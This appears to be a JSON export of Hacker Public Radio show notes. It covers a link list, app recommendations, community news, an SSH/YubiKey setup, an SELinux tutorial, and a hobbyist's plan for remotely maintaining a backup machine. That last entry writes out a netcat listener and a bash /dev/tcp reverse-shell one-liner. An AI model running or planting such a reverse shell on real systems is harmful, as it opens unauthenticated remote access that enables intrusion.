                                                            \n

                                                            tinkercad: Tinkercad is a free web app for 3D design, electronics, and coding.

                                                            \n

                                                            etherpad: Etherpad is a highly customizable open source online editor providing collaborative editing in really real-time.

                                                            \n

                                                            jitsi: More secure, more flexible, and completely free video conferencing

                                                            \n

                                                            openai: Whisper is an automatic speech recognition (ASR) system

                                                            \n

                                                            raspberrypi: We are Raspberry Pi. We make computers.

                                                            \n

                                                            wikipedia: ESP32

                                                            \n

                                                            hamuniverse: Tools, test equipment and shack accessories for the new ham radio operator

                                                            \n

                                                            dxzone: Radio Tools and Utilities for amateur radio operators

                                                            \n

                                                            dxengineering: Amateur Radio Equipment & Tools

                                                            \n

                                                            morsecode: Morse Code Keyer

                                                            \n

                                                            wikipedia: Morse code

                                                            \n

                                                            inksystem: CISS - continuous ink supply system

                                                            \n

                                                            wikipedia: Continuous ink system

                                                            \n

                                                            wikipedia: Three-phase electric power

                                                            \n

                                                            archives: Housing in New Zealand

                                                            \n

                                                            teara: Early houses... of New Zealand

                                                            \n

                                                            freedesktop: PulseAudio Volume Control

                                                            \n

                                                            kde: Plasma is a Desktop

                                                            \n

                                                            f-droid: What is F-Droid?

                                                            \n

                                                            i3wm: i3 is a tiling window manager, completely written from scratch.

                                                            \n

                                                            samsung: Galaxy S23

                                                            \n

                                                            android: Android Debug Bridge (adb)

                                                            \n

                                                            wikipedia: Android Debug Bridge (adb)

                                                            \n

                                                            dolby: Dolby On: Record Dolby Sound and Video

                                                            \n

                                                            slackware: The Slackware Linux Project

                                                            \n

                                                            fedoraproject: Fedora Linux | The Fedora Project

                                                            \n

                                                            qtractor: Qtractor An Audio/MIDI multi-track sequencer

                                                            \n

                                                            ardour: Recording - Ardour DAW

                                                            \n

                                                            snapcraft: Snapcraft - Snaps are universal Linux packages

                                                            \n

                                                            wikipedia:) Advanced Package Tool (APT) is a free-software user interface that works with core libraries...

                                                            \n

                                                            discord: Discord - Group Chat That's All Fun & Games

                                                            \n

                                                            telegram: Telegram Messenger

                                                            \n

                                                            mumla-app: Mumble app for Android

                                                            \n

                                                            kd4c: HamClock – A Shack’s Best Friend

                                                            \n

                                                            wikipedia: New Jersey Pine Barrens

                                                            \n

                                                            wikipedia:) Piney (Pine Barrens resident)

                                                            \n

                                                            blackriflecoffee: Veteran Founded - Black Rifle Coffee Company

                                                            \n

                                                            gfs: Beverages - Gordon Food Service

                                                            \n

                                                            homegoods: Home Decor Store and More | HomeGoods

                                                            \n

                                                            deathwishcoffee: Death Wish Coffee

                                                            \n

                                                            creality: Ender-5 Pro is a cubic-constructure 3D printer kit

                                                            \n

                                                            oggcamp: OGGCAMP

                                                            \n

                                                            southeastlinuxfest: SouthEast LinuxFest | Linux in the GNU/South

                                                            \n

                                                            dev: BSD / OS conferences 2025 / 2026

                                                            \n

                                                            olfconference: OLF (formerly known as Ohio LinuxFest) is a grassroots conference for the GNU/Linux...

                                                            \n

                                                            wikipedia: Security clearance

                                                            \n

                                                            state: Security Clearances - United States Department of State

                                                            \n

                                                            wikipedia: Underground soft-rock mining

                                                            \n

                                                            investopedia: Day Trading: The Basics and How To Get Started

                                                            \n

                                                            investor: Thinking of Day Trading? Know the Risks.

                                                            \n

                                                            wikipedia: Peter Zeihan

                                                            \n

                                                            youtube: Zeihan on Geopolitics

                                                            \n

                                                            britannica: F-4, two-seat, twin-engine jet fighter-bomber

                                                            \n

                                                            wikipedia: Lockheed C-130 Hercules

                                                            \n

                                                            monroeengineering: Ball Bearings: Inner vs Outer Races Explained

                                                            \n

                                                            ibm: Tape storage is used for data backup in case of...

                                                            \n

                                                            q4os: Q4OS - desktop operating system

                                                            \n

                                                            opensuse: openSUSE is a Linux distribution that offers...

                                                            \n

                                                            wikipedia: OS/2 is a proprietary computer operating system for...

                                                            \n

                                                            selinc: SEL-3351 System Computing Platform

                                                            \n

                                                            wikipedia: List of Microsoft Windows versions

                                                            \n

                                                            mxlinux: MX Linux is a Linux distribution based on Debian stable

                                                            \n

                                                            wikipedia: Squid Game - Wikipedia

                                                            \n

                                                            starlabs: Linux Laptops - Powered by Open Source – Star Labs®

                                                            \n

                                                            xubuntu: Xubuntu is a stable, light and configurable desktop...

                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"new years,HPR,community","version":0,"downloads":0,"valid":1}, {"id":4325,"date":"2025-02-28","title":"Two Software I use- Futo Keyboard and Inoreader","duration":838,"summary":"an Android Keyboard and an online feed reader, both free","notes":"\n 2 software recommendations: one online, one an Android app\n

                                                            \n No one is free software (important disclaimer for a community of\n hackers)

                                                            \n

                                                            FUTO KEYBOARD for android\n

                                                            \n

                                                            \n Without internet permission, it has:

                                                            \n
                                                              \n
                                                            • word prediction
                                                            • \n
                                                            • speech to text
                                                            • \n
                                                            • swipe typing
                                                            • \n
                                                            \n

                                                            \n Functions very well. =)

                                                            \n https://keyboard.futo.org/\n (available at Google Play Store)\n

                                                            \n INOREADER:

                                                            \n

                                                            \n Free, online feed reader, and you have:

                                                            \n
                                                              \n
                                                            • no ads (essential!)
                                                            • \n
                                                            • up to 150 feeds
                                                            • \n
                                                            • beautiful and very customizable display, for clutter-free or\n very cluttered experience, to your liking
                                                            • \n
                                                            • as online, you can have a continuous experience between PC and\n mobile
                                                            • \n
                                                            \n

                                                            \n If that's not enough, you can get a paid plan to more. =)

                                                            \n Link: https://www.inoreader.com/\n \n

                                                            \n Mentioned service and link: Kill-The-Newsletter
                                                            \n

                                                            \n
                                                            ","hostid":441,"series":98,"explicit":0,"license":"CC-BY-NC","tags":"software recommendation, inoreader, futo keyboard, offline keyboard for android","version":0,"downloads":0,"valid":1}, {"id":4326,"date":"2025-03-03","title":"HPR Community News for February 2025","duration":4352,"summary":"HPR Volunteers talk about shows released and comments posted in February 2025","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Antoine, \n Shane - StrandedOutput.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4306Mon2025-02-03HPR Community News for January 2025HPR Volunteers
                                                            4307Tue2025-02-04Chat with SgotiSome Guy On The Internet
                                                            4308Wed2025-02-05What tech Kevie would spend £2000 onKevie
                                                            4309Thu2025-02-06Talking with YorikTrollercoaster
                                                            4310Fri2025-02-07Playing Civilization IV, Part 6Ahuka
                                                            4311Mon2025-02-10LoRaWAN and the Things StackLee
                                                            4312Tue2025-02-11What Is The Indie Archive?hairylarry
                                                            4313Wed2025-02-12Why I made a 1-episode podcast about a war storyAntoine
                                                            4314Thu2025-02-1324-25 New Years Eve showHonkeymagoo
                                                            4315Fri2025-02-14How I got into the wonderful world of hackeryShane - StrandedOutput
                                                            4316Mon2025-02-17Is Scratch a real programming language?Trollercoaster
                                                            4317Tue2025-02-18Recording an episode of HPRKevie
                                                            4318Wed2025-02-19What's up with the dates on the HPR future feed in AntennaPod?dnt
                                                            4319Thu2025-02-20Am Rande - on the edgefolky
                                                            4320Fri2025-02-21Switching my Mastodon accountAhuka
                                                            4321Mon2025-02-24Crux LinuxKlaatu
                                                            4322Tue2025-02-25Fighting smartphone addictionCeleste
                                                            4323Wed2025-02-26Good Samaritan laws, Duty to rescue in the NetherlandsKen Fallon
                                                            4324Thu2025-02-2724-25 New Years Eve show episode 2Honkeymagoo
                                                            4325Fri2025-02-28Two Software I use- Futo Keyboard and InoreaderAntoine
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 24 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4106\n(2024-04-29) \"My tribute to feeds\"\nby Henrik Hemrin.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSem luz em Saint Louis on 2025-02-06:\n\"Valid!\"

                                                              \n
                                                            • hpr4129\n(2024-05-30) \"How I found Hacker Public Radio\"\nby Henrik Hemrin.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nSem luz em Saint Louis on 2025-02-06:\n\"Thanks, Henrik!\"

                                                              \n
                                                            • hpr4168\n(2024-07-24) \"Beyond Economic Recovery\"\nby Trixter.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSem Luz em Saint Louis on 2025-02-14:\n\"Piracy may be not so straight-forward\"

                                                              \n
                                                            • hpr4204\n(2024-09-12) \"LibreOffice Importing External Data\"\nby gemlog.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nWindigo on 2025-02-09:\n\"Phenomenal tip\"

                                                              \n
                                                            • hpr4269\n(2024-12-12) \"What is on My Podcast Player 2024, Part 2\"\nby Ahuka.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nelmussol on 2025-02-21:\n\"Mike Duncan, Revolutions & Mars\"

                                                              \n
                                                            • hpr4302\n(2025-01-28) \"New Campaign Trail Playthrough\"\nby Lochyboy.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nSem luz em Saint Louis on 2025-02-06:\n\"Played it!\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 18 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr4306\n(2025-02-03) \"HPR Community News for January 2025\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr4310\n(2025-02-07) \"Playing Civilization IV, Part 6\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-15:\n\"Not a gamer\"
                                                              • Comment 2:\nKevin O'Brien on 2025-01-15:\n\"Well, it is math, really\"

                                                              \n
                                                            • hpr4311\n(2025-02-10) \"LoRaWAN and the Things Stack\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2025-01-15:\n\"Great insignt into LoRaWAN\"

                                                              \n
                                                            • hpr4312\n(2025-02-11) \"What Is The Indie Archive?\"\nby hairylarry.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevie on 2025-02-11:\n\"Excellent show\"
                                                              • Comment 2:\nhairylarry on 2025-02-13:\n\"The Indie Archive\"

                                                              \n
                                                            • hpr4313\n(2025-02-12) \"Why I made a 1-episode podcast about a war story\"\nby Antoine.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2025-02-28:\n\"Welcome\"
                                                              • Comment 2:\nAntoine on 2025-02-28:\n\"Thank you!\"

                                                              \n
                                                            • hpr4314\n(2025-02-13) \"24-25 New Years Eve show\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2025-02-14:\n\"My 'fix_tags' script and Ken's difficulties with it.\"
                                                              • Comment 2:\nfreeplay on 2025-02-17:\n\"Transcode script dependencies\"
                                                              • Comment 3:\nOperat0r on 2025-02-26:\n\"HPR\"

                                                              \n
                                                            • hpr4315\n(2025-02-14) \"How I got into the wonderful world of hackery\"\nby Shane - StrandedOutput.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2025-02-14:\n\"Welcome!\"
                                                              • Comment 2:\nSolusSpider - Peter Paterson on 2025-02-14:\n\"Feeling older & impressed\"
                                                              • Comment 3:\nSteve Barnes on 2025-02-17:\n\"Hi and merci!\"
                                                              • Comment 4:\nTorin Doyle on 2025-02-21:\n\"Bliss of discovering GNU/Linux for the first time.\"

                                                              \n
                                                            • hpr4317\n(2025-02-18) \"Recording an episode of HPR\"\nby Kevie.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2025-02-25:\n\"Previous shows on tricks and apps for recording\"

                                                              \n
                                                            • hpr4320\n(2025-02-21) \"Switching my Mastodon account\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2024-11-25:\n\"Target Audience of 1\"

                                                              \n
                                                            • hpr4322\n(2025-02-25) \"Fighting smartphone addiction\"\nby Celeste.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAntoine on 2025-02-26:\n\"Nice, and my experience is...\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-February/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4327,"date":"2025-03-04","title":"Chatting with Sgoti","duration":838,"summary":"Sgoti talks about SSH and Github.","notes":"

                                                            Chatting wth Sgoti

                                                            \n

                                                            Sgoti talks about SSH and Github.

                                                            \n
                                                              \n
                                                            • openbsd: PreferredAuthentications \\

                                                              \n
                                                                \n
                                                              • Specifies the order in which the client should try authentication methods. \\

                                                                \n
                                                              • \n
                                                              • gssapi-with-mic,hostbased,publickey,keyboard-interactive,password

                                                                \n
                                                              • \n
                                                              \n
                                                            • \n
                                                            \n\n
                                                            \n$ssh -Q HostKeyAlgorithms;\n\n\nssh-ed25519\n\nssh-ed25519-cert-v01@openssh.com\n\nsk-ssh-ed25519@openssh.com\n\nsk-ssh-ed25519-cert-v01@openssh.com\n\nssh-rsa\n\nrsa-sha2-256\n\nrsa-sha2-512\n\nssh-dss\n\necdsa-sha2-nistp256\n\necdsa-sha2-nistp384\n\necdsa-sha2-nistp521\n\nsk-ecdsa-sha2-nistp256@openssh.com\n\nwebauthn-sk-ecdsa-sha2-nistp256@openssh.com\n\nssh-rsa-cert-v01@openssh.com\n\nrsa-sha2-256-cert-v01@openssh.com\n\nrsa-sha2-512-cert-v01@openssh.com\n\nssh-dss-cert-v01@openssh.com\n\necdsa-sha2-nistp256-cert-v01@openssh.com\n\necdsa-sha2-nistp384-cert-v01@openssh.com\n\necdsa-sha2-nistp521-cert-v01@openssh.com\n\nsk-ecdsa-sha2-nistp256-cert-v01@openssh.com\n
                                                            \n
                                                              \n
                                                            • openbsd: IdentitiesOnly \\

                                                              \n
                                                                \n
                                                              • Specifies that ssh(1) should only use the configured authentication identity and certificate files (either the default files, or those explicitly configured in the ssh_config files or passed on the ssh(1) command-line), even if ssh-agent(1) or a PKCS11Provider or SecurityKeyProvider offers more identities. The argument to this keyword must be yes or no (the default). This option is intended for situations where ssh-agent offers many different identities. \\
                                                              • \n
                                                              \n
                                                            • \n
                                                            \n

                                                            Sample ssh config. \\

                                                            \n
                                                            \n#Github Primary Yubikey\n\nHost github\n\n   User git\n\n   HostName github.com\n\n   Port 22\n\n   IdentityFile ~/.ssh/github-yubikey-0\n\n\n#Github Secondary Yubikey\n\nHost github\n\n   User git\n\n   HostName github.com\n\n   Port 22\n\n   IdentityFile ~/.ssh/github-yubikey-1\n\n\n#Global properties.\n\nHost *\n\n   PubkeyAuthentication=yes\n\n   PreferredAuthentications=publickey,keyboard-interactive\n\n   PubkeyAcceptedAlgorithms=sk-ssh-ed25519@openssh.com,ssh-ed25519,rsa-sha2-512\n\n\n#ssh-ed25519\n\n#ssh-ed25519-cert-v01@openssh.com\n\n#sk-ssh-ed25519@openssh.com\n\n#sk-ssh-ed25519-cert-v01@openssh.com\n\n#ssh-rsa\n
                                                            \nssh-keygen -t ed25519-sk -C \"user@domain.tld\" -f ~/.ssh/github-yubikey-0;\n\nssh-keygen -t ed25519-sk -C \"user@domain.tld\" -f ~/.ssh/github-yubikey-1;\n\nchmod --change =400 ~/.ssh/github*; #Owner only!\n
                                                            \n
                                                              \n
                                                            • lawrencesystems: SSH with YubiKey FIDO U2F Authentication. \\

                                                              \n
                                                            • \n
                                                            • yubico: YubiKey 5 Series \\

                                                              \n
                                                            • \n
                                                            • github: Generating a new SSH key and adding it to the ssh-agent. \\

                                                              \n
                                                            • \n
                                                            \n

                                                            EOF

                                                            ","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"git, github, ssh, yubikey","version":0,"downloads":0,"valid":1}, {"id":4328,"date":"2025-03-05","title":"Use SELinux the easy way","duration":1378,"summary":"You don't have to be an expert on SELinux to use it effectively","notes":"

                                                            The most basic security toggle on your Linux computer is the

                                                            setenforce
                                                            command. Using just a single
                                                            setenforce
                                                            instruction, you can configure SELinux to allow a violation it would normally prevent. There are two states: Enabled and Permissive. By default, SELinux is
                                                            Enabled
                                                            (also represented as
                                                            1
                                                            when using Boolean values). To set SELinux to permissive mode:

                                                            \n\n

                                                            $ sudo setenforce Permissive

                                                            \n

                                                            When something works in Permissive mode, you've successfully identified the symptom, but you haven't fixed the problem yet. Activate Enforcing mode again:

                                                            \n

                                                            $ sudo setenforce Enforcing

                                                            \n

                                                            Check the status of SELinux

                                                            \n

                                                            You can check the state of SELinux at any time using the

                                                            sestatus
                                                            command:

                                                            \n

                                                            $ sestatus\nSELinux status:                 enabled\nSELinuxfs mount:                /sys/fs/selinux\nSELinux root directory:         /etc/selinux\nLoaded policy name:             targeted\nCurrent mode:                   enforcing\n[...]

                                                            \n

                                                            Look at labels and contexts

                                                            \n

                                                            If you have a running Linux system, then you have an example of what SELinux requires for normal operation. You don't have to learn about security contexts or memorize labels. For most anything you try to do on your computer, there are likely already files doing something similar. Use those files as templates.

                                                            \n

                                                            You can look at the security labels of any file you have access to by using the

                                                            -Z
                                                            (that's a capital Z) option of
                                                            ls
                                                            :

                                                            \n

                                                            $ touch hellotouch hello.txt\n$ ls -Z hello.txt\nunconfined_u:object_r:user_home_t:s0 hello

                                                            \n

                                                            An empty file created by a user in the user's own home directory has, as you might expect, a very specific security profile. Even with the executable bit set, that file would not be permitted to run as a systemwide service. It just doesn't have the correct security context.

                                                            \n

                                                            If you use an

                                                            ll
                                                            alias, try adding the
                                                            -Z
                                                            option to its option list so you get used to seeing SELinux labels. The more you see what labels exist on your system, and how they relate to various system roles, you're more likely to recognize when they're wrong.

                                                            \n

                                                            Copy contexts

                                                            \n

                                                            Suppose you were developing a custom SELinux service for your laptop. You've written a shell script, a service file, and you've placed them in the appropriate system locations. You're also careful to set ownership and permissions correctly. But no matter what you do, you get errors when attempting to start the service.

                                                            \n

                                                            You suspect that SELinux might be preventing an unrecognized service from running. That would normally be appreciated, but in this case you want to make an exception.

                                                            \n

                                                            First, confirm that the service runs successfully with SELinux in Permissive mode:

                                                            \n

                                                            $ sudo setenforce Permissive\n$ sestatus | grep Current\nCurrent mode:                 permissive\n$ sudo systemctl start hello.service || echo \"fail\"\n$\n$ sudo setenforce Enforcing

                                                            \n

                                                            Then look at the files you've created using the

                                                            -Z
                                                            and compare them with other files that you know to be working properly. Note the differences:

                                                            \n

                                                            $ ls -Z /usr/lib/systemd/system/hello.service\nunconfined_u:object_r:systemd_unit_file_t:s0\n$ ls -Z /usr/lib/systemd/system/rdisc.service\nsystem_u:object_r:rdisc_unit_file_t:s0

                                                            \n

                                                            The working service (

                                                            rdisc.service
                                                            in this example, chosen at random) features the
                                                            system_u
                                                            label as well as a special
                                                            rdisc_unit_file_t
                                                            label. Suppose you know from previous experience with
                                                            ls -Z
                                                            that a common SELinux label for systemd service files is
                                                            systemd_unit_file_t
                                                            so you ignore that difference. However,
                                                            unconfined_u
                                                            and
                                                            system_u
                                                            seem to be important.

                                                            \n

                                                            Use the

                                                            chcon
                                                            (\"change context\") command to change the security context of your service file:

                                                            \n
                                                            \n$ sudo chcon system_u:object_r:systemd_unit_file_t:s0 \\\n/usr/lib/systemd/system/hello.service\n$ ls -Z /usr/lib/systemd/system/hello.service\nsystem_u:object_r:systemd_unit_file_t:s0\n
                                                            \n

                                                            Your systemd service is probably triggering some executable file on your system. If you created that yourself, it probably also has the incorrect security context. Comparing it to a known working script:

                                                            \n

                                                            $ ls -Z /usr/bin/example.sh\nunconfined_u:object_r:gconf_home_t:s0\n$ ls -Z /usr/bin/brltty-prologue.sh\nsystem_u:object_r:bin_t:s0

                                                            \n

                                                            Again, there's one obvious difference, which you can correct with

                                                            chcon
                                                            :

                                                            \n

                                                            $ chcon system_u:object_r:bin_t:s0 \\\n\n/usr/bin/example.sh

                                                            \r","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, selinux, permissions","version":0,"downloads":0,"valid":1}, {"id":4329,"date":"2025-03-06","title":"Maintaining The Remote System","duration":1016,"summary":"How to maintain a remote system that is behind a firewall, has no port forwarding, and unknown ip.","notes":"\n

                                                            \nMaintaining The Remote System

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI have renamed the project Libre Indie Archive because the name theindiearchive is already someone else's domain. I never would have renamed The Indie Archive but I do think that Libre Indie Archive is more descriptive, hence, better.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI am getting close to a pre beta push up to codeberg. Anyone following along who wants to help test, you can do this with two or three old systems. Let me know. Email hairylarry@gmail.com or on Mastodon I am @hairylarry@gamerplus.org.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI have decided to develop and document for Xubuntu first and here's the reasons why.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI bought an older HP small form factor office system with 4 Gigabytes of ram.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHP Compaq 4000 Pro Pentium Dual-Core E6600 3.06GHz 4GB RAM

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThirty dollars on ebay with shipping and taxes.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI was testing Libre Indie Archive on it. Because of the age of the system Ubuntu wouldn't install. I tested it with some BSD systems and installed Indie Archive without a GUI. Ghost BSD didn't install but Midnight BSD did install so I used the Midnight BSD GUI and installed Indie Archive. None of this was easy for me because I'm a BSD newb and unless you already use BSD I can't recommend it for Libre Indie Archive. Remember, not all indie producers are computer programmers, and I want Indie Archive to work for those producers as well as for the computer savvy.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThen on a whim I thought I would try the Xubuntu 24.04 distro and it installed no problems. Thanks XFCE for keeping it light.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe other reason I am developing and documenting for Xubuntu is that I can use the Xubuntu install document and install on Ubuntu or Debian with only minor differences. I know because I tried it. This is probably also true for other Debian and Ubuntu derived distributions.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo, if you want to help, you could take the Xubuntu install document and see if it works on other distributions. Write down what you had to change and let me know. I plan on making an install checklist out of the install document and it would be great to have a checklist with the actual commands for several distributions.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo, that was the intro. Now on to the topic.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI am planning on installing remotenear and remotefar systems, remotenear being a short drive away (or maybe in your home if your studio is not in your home, like mine) and the remotefar further away to avoid losing data in the case of a regional catastrophe like flood, fire, tornado, or hurricane.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nStill even a short drive is not what I want to do any time there might be something I need to check on a remote system so I have devised a way to manage it from the secondary system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhen a remote system is delivered to a new location it will be headless. No monitor, no keyboard, and no mouse. At the remote location it is plugged into a UPS and attached to the network with an ethernet cable and attached to the UPS with a usb cable. Then it is turned on.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nEven without a keyboard or a mouse there is still some local control of the system available. As part of the remote system install we go into the power management settings and next to \"when power button is pressed\" we select shutdown.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo, a short press on the power button initiates a Xubuntu shutdown just like the shutdown that you get from the menu or Alt F4.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIf that doesn't work a long press of the power button will turn the system off. This is like unplugging the system or losing power and is not recommended but Xubuntu will rebuild the file structure when the system is restarted.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnd if you do lose power the UPS will send a signal to the computer shutting it down with a controlled shutdown, just like a short press of the power button or a shutdown from the menu.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI would like to carry this one step further and enable automatic power up for the computer. A quick search shows cyberpower PowerPanel software for linux. Also you can set a power restore function in the BIOS to restart the system when the power is restored. I just checked and this worked on my little HP.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo ... with just the power button and an attached UPS you can get both manual and automatic control of shutting the remote system down and restarting it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPretty cool for a rather sparse interface.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIf you know more about how to set this up please let me know. There's a big jump between doing a search to see if something is possible and actually implementing it.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOkay, that was the easy part. Now for the fun part.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nFirst off, the remote system is probably not going to be at your place but at the home or business of friends or family. And they probably don't have a static IP, and they may not be able to implement port forwarding in their router, and they may not be able to control their firewall.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo we can't go, \"I'll just ssh in when I need to fix a problem\". And you don't really want to change their setup anyway because all of the above add to their security risk.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAlso their router undoubtedly gives dynamic IP addresses so we want the remote system to use that because when we are setting it up we might not even know what subnet their LAN uses.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBut, at the same time it doesn't make any sense at all to try to maintain a remote system that you can't log into.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo, the tool for setting up a terminal session on the remote system is called a remote tunnel reverse shell. The remote system is already connecting to the secondary system with rsync ssh when the cron job fires off every day to update the files. So, the secondary system is running an ssh server and the remote system has the public key that allows access without entering a password.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThere are two parts to setting up a remote tunnel reverse shell. The secondary system has to be listening for the remote system on a port, I use port 7070. And then the remote system runs a bash command with the -i parameter that means reverse shell, and with the port, 7070.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI'm using nc to set up the listener.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nnc -lvnp 7070

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n-l is --listen

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n-v is --verbose

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n-n means the port is restricted to numeric values.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n-p is --port

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n7070 is the port

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI chose the port number, 7070. You can use any available port but the listener has to use the same port as the remote system uses in the bash call.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhich is this.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nbash -i >& /dev/tcp/your-static-ip-from-your-isp/7070 0>&1

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThis is the order of events.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOn the secondary system I start listening.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nnc -lvnp 7070

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThen a script runs on the remote system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nbash -i >& /dev/tcp/your-static-ip-from-your-isp/7070 0>&1

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnd then a command prompt opens up in the terminal on the secondary system that's listening. And you are logged into the remote system and you can look around and check things out and even move or delete files until you exit.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nExcept it didn't work.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOf course not, nothing ever works the first time.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTwo other things have to be changed that we're going to talk about now, the firewall and port forwarding.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThese things are already discussed in install.txt because we had to fix the firewall and port forwarding for the remote system to log into the secondary system to pick up the new files.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTo set up port forwarding, log into your router from a browser attached to the router. Like, for instance, a browser on your secondary system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nYou open the browser and type into the address bar, 192.168.1.1

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhich is right most of the time. On my setup I type 192.168.2.1 because the isp's router uses the 192.168.1 subnet.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHow do I know which to use???

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThis also is covered in install.txt because to connect from the primary system to the secondary system I have to connect to the static ip that I assigned to the secondary system.

